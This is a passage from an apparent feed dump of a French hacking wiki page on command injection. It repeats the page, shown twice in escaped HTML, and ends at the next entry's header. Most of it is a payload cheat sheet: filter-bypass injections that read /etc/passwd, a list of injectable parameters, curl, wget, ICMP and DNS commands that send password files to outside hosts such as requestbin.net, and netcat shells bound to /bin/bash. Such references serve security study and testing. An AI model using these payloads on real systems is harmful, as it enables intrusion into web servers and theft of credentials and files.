&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
==== ${SHELLOPTS} ====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93568</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93568"/>
		<updated>2023-12-02T17:37:55Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : Page créée avec « Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;: == Les Métacharacteres ==   ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.   &amp;amp;	| Il sépare plusieurs commandes su... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
===== ${SHELLOPTS} =====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93566</id>
		<title>Tools:HackRF One</title>
